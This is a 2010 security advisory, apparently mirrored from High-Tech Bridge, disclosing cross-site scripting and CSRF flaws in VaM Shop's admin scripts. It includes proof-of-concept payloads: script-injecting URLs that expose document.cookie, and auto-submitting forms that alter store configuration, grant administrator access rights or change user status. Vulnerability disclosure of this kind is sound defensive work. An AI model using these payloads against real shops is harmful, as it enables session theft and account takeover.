Lucene search

K
htbridgeHigh-Tech BridgeHTB22778
HistoryDec 28, 2010 - 12:00 a.m.

Multiple Vulnerabilities in VaM Shop

2010-12-2800:00:00
High-Tech Bridge
www.htbridge.com
26

EPSS

0.011

Percentile

84.7%

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in VaM Shop which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

  1. Cross-site scripting (XSS) vulnerabilities in VaM Shop: CVE-2011-0504
    1.1 The vulnerability exists due to input sanitation error in the “search” parameter in admin/customers.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: http://host/admin/customers.php?search=1"><script>alert(document.cookie)</sc ript> 1.2 The vulnerability exists due to input sanitation error in the "status" parameter in admin/orders.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
    Exploitation example:
    http://host/admin/orders.php?selected_box=customers&amp;status=2"><script>alert( document.cookie)</script >

  2. Cross-site request forgery (CSRF) vulnerabilities in VaM Shop: CVE-2011-0503
    2.1 The vulnerability exists due to insufficient validation of the request origin in admin/configuration.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website configuration. Due to insufficient sanitation of input data in the “STORE_NAME” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
    Exploitation examples:
    <form action=“http://host/admin/configuration.php?gID=1&amp;action=save” method=“post” name=“main”>
    <input type=“hidden” name=“STORE_NAME” value=‘My Shop"><script>alert(document.cookie)</script>’>
    <input type=“hidden” name=“STORE_OWNER” value=“VaM Shop”>
    <input type=“hidden” name=“STORE_OWNER_EMAIL_ADDRESS” value="[email protected]">
    <input type=“hidden” name=“EXPECTED_PRODUCTS_SORT” value=“desc”>
    <input type=“hidden” name=“EXPECTED_PRODUCTS_FIELD” value=“date_expected”>
    <input type=“hidden” name=“USE_DEFAULT_LANGUAGE_CURRENCY” value=“false”>
    <input type=“hidden” name=“DISPLAY_CART” value=“true”>
    <input type=“hidden” name=“ADVANCED_SEARCH_DEFAULT_OPERATOR” value=“and”>
    <input type=“hidden” name=“STORE_NAME_ADDRESS” value=“Address, Country”>
    <input type=“hidden” name=“SHOW_COUNTS” value=“true”>
    <input type=“hidden” name=“CURRENT_TEMPLATE” value=“vamshop”>
    </form>
    <script>
    document.main.submit();
    </script>
    2.2 The vulnerability exists due to insufficient validation of the request origin in admin/accounting.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify privileges for arbitrary accounts.
    Exploitation examples:
    <form action=“http://host/admin/accounting.php?cID=USERID&amp;action=save” method=“post” name=“main” enctype=“multipart/form-data”>
    <input type=“hidden” name=“access[]” value=“configuration”>
    <input type=“hidden” name=“access[]” value=“modules”>
    <input type=“hidden” name=“access[]” value=“customers”>
    <input type=“hidden” name=“access[]” value=“start”>
    <input type=“hidden” name=“access[]” value=“content_manager”>
    <input type=“hidden” name=“access[]” value=“categories”>
    </form>
    <script>
    document.main.submit();
    </script>

2.3 The vulnerability exists due to insufficient validation of the request origin in admin/customers.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change status of arbitrary user.
Exploitation examples:
<form action=“http://host/admin/customers.php?page=1&amp;cID=USERID&amp;action=statusconfi rm” method=“post” name=“main”>
<input type=“hidden” name=“status” value=“0”>
</form>
<script>
document.main.submit();
</script>

EPSS

0.011

Percentile

84.7%